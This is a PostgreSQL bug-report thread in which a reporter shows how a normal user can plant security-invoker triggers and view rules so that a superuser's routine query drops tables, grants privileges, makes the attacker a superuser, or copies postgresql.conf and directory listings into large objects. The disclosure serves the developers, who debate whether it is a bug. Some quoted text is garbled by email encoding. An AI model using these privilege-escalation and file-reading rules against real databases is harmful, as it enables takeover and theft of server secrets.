Обсуждение: BUG #13651: trigger security invoker attack
The following bug has been logged on the website:
Bug reference: 13651
Logged by: digoal
Email address: digoal@126.com
PostgreSQL version: 9.4.4
Operating system: CentOS 6.x x64
Description:
In my database, there have two role, one normal user, one superuser.
postgres=# \dt
List of relations
Schema | Name | Type | Owner
--------+------------------+-------+----------
public | customer_reviews | table | postgres
public | t | table | digoal
public | t1 | table | postgres
public | t2 | table | postgres
public | t3 | table | postgres
I can use normal user create a table , and then create a trigger , in
trigger
I drop superuser's table and grant all privilege to normal user.
postgres=# \c postgres digoal
You are now connected to database "postgres" as user "digoal".
postgres=> create table temp_table (id int);
CREATE TABLE
postgres=> create or replace function tg1() returns trigger as $$
declare
begin
drop table t1 cascade;
grant all on table t2 to digoal;
return null;
end;
$$ language plpgsql security invoker;
CREATE FUNCTION
postgres=> create trigger tg2 before truncate on temp_table for each
statement execute procedure tg1();
CREATE TRIGGER
when a superuser truncate the temp table,
the trigger will execute,and drop superuser's table t1, and grant t2.
postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# truncate temp_table ;
NOTICE: 00000: drop cascades to rule r1 on table t
CONTEXT: SQL statement "drop table t1 cascade"
PL/pgSQL function tg1() line 4 at SQL statement
LOCATION: reportDependentObjects, dependency.c:996
TRUNCATE TABLE
postgres=# \dp+ t2
Access privileges
Schema | Name | Type | Access privileges | Column access
privileges
--------+------+-------+---------------------------+--------------------------
public | t2 | table | postgres=arwdDxt/postgres+|
| | | digoal=arwdDxt/postgres |
(1 row)
And rule is security.
postgres=# \c postgres digoal
You are now connected to database "postgres" as user "digoal".
postgres=> create rule r1 as on delete to t do instead delete from t1;
CREATE RULE
postgres=> delete from t;
ERROR: permission denied for relation t1
postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# \set VERBOSITY verbose
postgres=# delete from t;
ERROR: 42501: permission denied for relation t1
LOCATION: aclcheck_error, aclchk.c:3371
On Tuesday, September 29, 2015, <digoal@126.com> wrote: > The following bug has been logged on the website: > > Bug reference: 13651 > Logged by: digoal > Email address: digoal@126.com <javascript:;> > PostgreSQL version: 9.4.4 > Operating system: CentOS 6.x x64 > Description: > > In my database, there have two role, one normal user, one superuser. > > postgres=# \dt > List of relations > Schema | Name | Type | Owner > --------+------------------+-------+---------- > public | customer_reviews | table | postgres > public | t | table | digoal > public | t1 | table | postgres > public | t2 | table | postgres > public | t3 | table | postgres > > > Elided truncate trigger dropping t1... > And rule is security. > postgres=# \c postgres digoal > You are now connected to database "postgres" as user "digoal". > postgres=> create rule r1 as on delete to t do instead delete from t1; > CREATE RULE > postgres=> delete from t; > ERROR: permission denied for relation t1 > > I'm surprised this works since t1 shouldn't exist... postgres=> \c postgres postgres > You are now connected to database "postgres" as user "postgres". > postgres=# \set VERBOSITY verbose > postgres=# delete from t; > ERROR: 42501: permission denied for relation t1 > LOCATION: aclcheck_error, aclchk.c:3371 > > But since t1 does exist and t is owned by digoal the fact that this fails with a permission error is unsurprising. Rules execute as the owner of the relation to which they are attached in order to facilitate data hiding, David J.
a normal user get super privilege, use security invoker function.
postgres=> create table pg_stat_statements (
userid oid ,
dbid oid ,
queryid bigint ,
query text ,
calls bigint ,
total_time double precision ,
rows bigint ,
shared_blks_hit bigint ,
shared_blks_read bigint ,
shared_blks_dirtied bigint ,
shared_blks_written bigint ,
local_blks_hit bigint ,
local_blks_read bigint ,
local_blks_dirtied bigint ,
local_blks_written bigint ,
temp_blks_read bigint ,
temp_blks_written bigint ,
blk_read_time double precision ,
blk_write_time double precision );
postgres=> create or replace function f() returns pg_stat_statements as $$
declare
begin
alter role digoal superuser;
end;
$$ language plpgsql security invoker;
CREATE FUNCTION
postgres=> create rule "_RETURN" as on select to pg_stat_statements do instead select * from f();
CREATE RULE
When a super user select the view pg_stat_statements , the normal user digoal will granted the superuser role.
Yes, it's a normal operation ,but somebody can use these trick.
--
公益是一辈子的事,I'm Digoal,Just Do It.
公益是一辈子的事,I'm Digoal,Just Do It.
在 2015-09-29 23:48:12，"David G. Johnston" <david.g.johnston@gmail.com> 写道：
On Tuesday, September 29, 2015, <digoal@126.com> wrote:The following bug has been logged on the website:
Bug reference: 13651
Logged by: digoal
Email address: digoal@126.com
PostgreSQL version: 9.4.4
Operating system: CentOS 6.x x64
Description:
In my database, there have two role, one normal user, one superuser.
postgres=# \dt
List of relations
Schema | Name | Type | Owner
--------+------------------+-------+----------
public | customer_reviews | table | postgres
public | t | table | digoal
public | t1 | table | postgres
public | t2 | table | postgres
public | t3 | table | postgresElided truncate trigger dropping t1...And rule is security.
postgres=# \c postgres digoal
You are now connected to database "postgres" as user "digoal".
postgres=> create rule r1 as on delete to t do instead delete from t1;
CREATE RULE
postgres=> delete from t;
ERROR: permission denied for relation t1I'm surprised this works since t1 shouldn't exist...postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# \set VERBOSITY verbose
postgres=# delete from t;
ERROR: 42501: permission denied for relation t1
LOCATION: aclcheck_error, aclchk.c:3371But since t1 does exist and t is owned by digoal the fact that this fails with a permission error is unsurprising. Rules execute as the owner of the relation to which they are attached in order to facilitate data hiding,David J.
On Tuesday, September 29, 2015, =E5=BE=B7=E5=93=A5 <digoal@126.com> wrote: > a normal user get super privilege, use security invoker function. > postgres=3D> create table pg_stat_statements ( > userid oid , > dbid oid , > queryid bigint , > query text , > calls bigint , > total_time double precision , > rows bigint , > shared_blks_hit bigint , > shared_blks_read bigint , > shared_blks_dirtied bigint , > shared_blks_written bigint , > local_blks_hit bigint , > local_blks_read bigint , > local_blks_dirtied bigint , > local_blks_written bigint , > temp_blks_read bigint , > temp_blks_written bigint , > blk_read_time double precision , > blk_write_time double precision ); > > postgres=3D> create or replace function f() returns pg_stat_statements as= $$ > > declare > begin > alter role digoal superuser; > end; > $$ language plpgsql security invoker; > CREATE FUNCTION > > postgres=3D> create rule "_RETURN" as on select to pg_stat_statements do > instead select * from f(); > CREATE RULE > > When a super user select the view pg_stat_statements , the normal user > digoal will granted the superuser role. > > Yes, it's a normal operation ,but somebody can use these trick. > Everything you just wrote was done as superuser so what's your point? David J.
On Tuesday, September 29, 2015, David G. Johnston < david.g.johnston@gmail.com <javascript:_e(%7B%7D,'cvml','david.g.johnston@gmail.com');>> wrote: > On Tuesday, September 29, 2015, =E5=BE=B7=E5=93=A5 <digoal@126.com> wrote= : > >> a normal user get super privilege, use security invoker function. >> postgres=3D> create table pg_stat_statements ( >> userid oid , >> dbid oid , >> queryid bigint , >> query text , >> calls bigint , >> total_time double precision , >> rows bigint , >> shared_blks_hit bigint , >> shared_blks_read bigint , >> shared_blks_dirtied bigint , >> shared_blks_written bigint , >> local_blks_hit bigint , >> local_blks_read bigint , >> local_blks_dirtied bigint , >> local_blks_written bigint , >> temp_blks_read bigint , >> temp_blks_written bigint , >> blk_read_time double precision , >> blk_write_time double precision ); >> >> postgres=3D> create or replace function f() returns pg_stat_statements a= s >> $$ >> declare >> begin >> alter role digoal superuser; >> end; >> $$ language plpgsql security invoker; >> CREATE FUNCTION >> >> postgres=3D> create rule "_RETURN" as on select to pg_stat_statements do >> instead select * from f(); >> CREATE RULE >> >> When a super user select the view pg_stat_statements , the normal user >> digoal will granted the superuser role. >> >> Yes, it's a normal operation ,but somebody can use these trick. >> > > > Everything you just wrote was done as superuser so what's your point? > > I guess the complaint is that most people, including administrators, aren't checking to see what rules are being added to tables and if those rules call invoked functions then the odds of a superuser invoking dangerous code is significant. Fine. It's not a bug and while the risk is non-zero I'm not coming up with any kind of workable mitigation at the moment. Don't let untrustworthy people add code to your database and make sure admin search-paths are safe to avoid overshadowing. David J.
And what would be an acceptable solution/behavior in your eyes? On Tuesday, September 29, 2015, =E5=BE=B7=E5=93=A5 <digoal@126.com> wrote: > > The point is: > Superuser will be trick possible. like phishing sites. > FOR EXP: > DBA, or some monitor / admin software query these table or view. > > -- > =E5=85=AC=E7=9B=8A=E6=98=AF=E4=B8=80=E8=BE=88=E5=AD=90=E7=9A=84=E4=BA=8B,= I'm Digoal,Just Do It. > > =E5=9C=A8 2015-09-30 10:01:12=EF=BC=8C"David G. Johnston" <david.g.johnst= on@gmail.com > <javascript:_e(%7B%7D,'cvml','david.g.johnston@gmail.com');>> =E5=86=99= =E9=81=93=EF=BC=9A > > On Tuesday, September 29, 2015, =E5=BE=B7=E5=93=A5 <digoal@126.com > <javascript:_e(%7B%7D,'cvml','digoal@126.com');>> wrote: > >> a normal user get super privilege, use security invoker function. >> postgres=3D> create table pg_stat_statements ( >> userid oid , >> dbid oid , >> queryid bigint , >> query text , >> calls bigint , >> total_time double precision , >> rows bigint , >> shared_blks_hit bigint , >> shared_blks_read bigint , >> shared_blks_dirtied bigint , >> shared_blks_written bigint , >> local_blks_hit bigint , >> local_blks_read bigint , >> local_blks_dirtied bigint , >> local_blks_written bigint , >> temp_blks_read bigint , >> temp_blks_written bigint , >> blk_read_time double precision , >> blk_write_time double precision ); >> >> postgres=3D> create or replace function f() returns pg_stat_statements a= s >> $$ >> declare >> begin >> alter role digoal superuser; >> end; >> $$ language plpgsql security invoker; >> CREATE FUNCTION >> >> postgres=3D> create rule "_RETURN" as on select to pg_stat_statements do >> instead select * from f(); >> CREATE RULE >> >> When a super user select the view pg_stat_statements , the normal user >> digoal will granted the superuser role. >> >> Yes, it's a normal operation ,but somebody can use these trick. >> > > > Everything you just wrote was done as superuser so what's your point? > > David J. > >
On Tuesday, September 29, 2015, =E5=BE=B7=E5=93=A5 <digoal@126.com> wrote: > I hope this : > Nonsuperuser cann't CREATE | ALTER security invoker Functions. > In that case don't hold your breath. Besides, your rules-based spoofing doesn't actually have this problem since the rule owner is the invoker, not the original user. And I'm still confused regarding your original post and how it describes an active risk. Your second example is also flawed as it requires superuser permissions to work. Security invoker are safe because the caller cannot do anything they couldn't otherwise do. That doesn't mean they should treat the code as trusted or a black-box. Do you have a suggestion that doesn't amount to scraping the whole thing and staring over? David J.
On Wed, Sep 30, 2015 at 3:02 AM, =E5=BE=B7=E5=93=A5 <digoal@126.com> wrote: > HI, > If we can change the function's security dynamical, like : > When function trigged in trigger or rule, force these function's > security =3D table,mview,view's owner. > There will no risks in the case. > > PS: MySQL do that. > =E2=80=8BIOW: "=E2=80=8B Relations that are used due to rules get checked against the privileges of the rule owner, not the user invoking the rule =E2=80=8B." should apply to functions as well. =E2=80=8Bhttp://www.postgresql.org/docs/9.4/static/rules-privileges.html I would agree and thought they did but your most example does seem to indicate otherwise... David J.
The point is:
Superuser will be trick possible. like phishing sites.
FOR EXP:
DBA, or some monitor / admin software query these table or view.
--
公益是一辈子的事,I'm Digoal,Just Do It.
公益是一辈子的事,I'm Digoal,Just Do It.
在 2015-09-30 10:01:12，"David G. Johnston" <david.g.johnston@gmail.com> 写道：
On Tuesday, September 29, 2015, 德哥 <digoal@126.com> wrote:a normal user get super privilege, use security invoker function.postgres=> create table pg_stat_statements (userid oid ,dbid oid ,queryid bigint ,query text ,calls bigint ,total_time double precision ,rows bigint ,shared_blks_hit bigint ,shared_blks_read bigint ,shared_blks_dirtied bigint ,shared_blks_written bigint ,local_blks_hit bigint ,local_blks_read bigint ,local_blks_dirtied bigint ,local_blks_written bigint ,temp_blks_read bigint ,temp_blks_written bigint ,blk_read_time double precision ,blk_write_time double precision );postgres=> create or replace function f() returns pg_stat_statements as $$declarebeginalter role digoal superuser;end;$$ language plpgsql security invoker;CREATE FUNCTIONpostgres=> create rule "_RETURN" as on select to pg_stat_statements do instead select * from f();CREATE RULEWhen a super user select the view pg_stat_statements , the normal user digoal will granted the superuser role.Yes, it's a normal operation ,but somebody can use these trick.Everything you just wrote was done as superuser so what's your point?David J.
I hope this :
Nonsuperuser cann't CREATE | ALTER security invoker Functions.
--
公益是一辈子的事,I'm Digoal,Just Do It.
公益是一辈子的事,I'm Digoal,Just Do It.
在 2015-09-30 10:22:15，"David G. Johnston" <david.g.johnston@gmail.com> 写道：
And what would be an acceptable solution/behavior in your eyes?
On Tuesday, September 29, 2015, 德哥 <digoal@126.com> wrote:The point is:Superuser will be trick possible. like phishing sites.FOR EXP:DBA, or some monitor / admin software query these table or view.--
公益是一辈子的事,I'm Digoal,Just Do It.
在 2015-09-30 10:01:12，"David G. Johnston" <david.g.johnston@gmail.com> 写道：On Tuesday, September 29, 2015, 德哥 <digoal@126.com> wrote:a normal user get super privilege, use security invoker function.postgres=> create table pg_stat_statements (userid oid ,dbid oid ,queryid bigint ,query text ,calls bigint ,total_time double precision ,rows bigint ,shared_blks_hit bigint ,shared_blks_read bigint ,shared_blks_dirtied bigint ,shared_blks_written bigint ,local_blks_hit bigint ,local_blks_read bigint ,local_blks_dirtied bigint ,local_blks_written bigint ,temp_blks_read bigint ,temp_blks_written bigint ,blk_read_time double precision ,blk_write_time double precision );postgres=> create or replace function f() returns pg_stat_statements as $$declarebeginalter role digoal superuser;end;$$ language plpgsql security invoker;CREATE FUNCTIONpostgres=> create rule "_RETURN" as on select to pg_stat_statements do instead select * from f();CREATE RULEWhen a super user select the view pg_stat_statements , the normal user digoal will granted the superuser role.Yes, it's a normal operation ,but somebody can use these trick.Everything you just wrote was done as superuser so what's your point?David J.
Thanks, there is also other risks in PostgreSQL.
people can use large object function & rule spoofing.
postgres=> create table v2(id int);
CREATE TABLE
postgres=> select lo_create(1);
lo_create
-----------
1
(1 row)
postgres=> create rule "_RETURN" as on select to v2 do instead select 1 as id from (select lowrite(lo_open(1,131072), con::bytea) from (select string_agg(c,' | ') as con from pg_ls_dir('.') as t(c)) t)t;;
CREATE RULE
postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# select * from v2;
id
----
1
(1 row)
postgres=# \c postgres digoal
postgres=> select convert_from(loread(lo_open(1,262144),1000),'utf8');
convert_from
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------
pg_xlog | pg_multixact | base | .s.PGSQL.1922.lock | recovery.done | pg_log | pg_logical | pg_subtrans | backup_label.old | pg_stat_tmp | PG_VERSION | postmaster.opts | tsearch_data | pg_stat | pg_serial |
VITESSE_LICENSE_KEY | pg_notify | postgresql.conf | pg_replslot | pg_tblspc | pg_ident.conf | server.crt | pg_dynshmem | pg_twophase | global | server.key | .s.PGSQL.1922 | .s.PGSQL.1921.lock | .s.PGSQL.1921 |
postmaster.pid | pg_hba.conf | pg_worker_list.conf | pg_clog | postgresql.auto.conf | pg_snapshots
(1 row)
postgres=> select lo_create(2);
lo_create
-----------
2
(1 row)
postgres=> drop view v2;
DROP VIEW
postgres=> create table v2(id int);
CREATE TABLE
postgres=> create rule "_RETURN" as on select to v2 do instead select 1 as id from (select lowrite(lo_open(2,131072), pg_read_binary_file('postgresql.conf'))) t;
CREATE RULE
postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# select * from v2;
id
----
1
(1 row)
postgres=# \c postgres digoal
You are now connected to database "postgres" as user "digoal".
postgres=> select convert_from(loread(lo_open(2,262144),100000),'utf8');
convert_from
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
# ----------------------------- +
# PostgreSQL configuration file +
# ----------------------------- +
# +
# This file consists of lines of the form: +
# +
# name = value +
# +
# (The "=" is optional.) Whitespace may be used. Comments are introduced with +
# "#" anywhere on a line. The complete list of parameter names and allowed +
# values can be found in the PostgreSQL documentation. +
# +
# The commented-out settings shown in this file represent the default values. +
# Re-commenting a setting is NOT sufficient to revert it to the default value; +
# you need to reload the server. +
# +
# This file is read on server startup and when the server receives a SIGHUP +
# signal. If you edit the file on a running system, you have to SIGHUP the +
# server for the changes to take effect, or use "pg_ctl reload". Some +
# parameters, which are marked below, require a server shutdown and restart to +
......
HI,
If we can change the function's security dynamical, like :
When function trigged in trigger or rule, force these function's security = table,mview,view's owner.
There will no risks in the case.
PS: MySQL do that.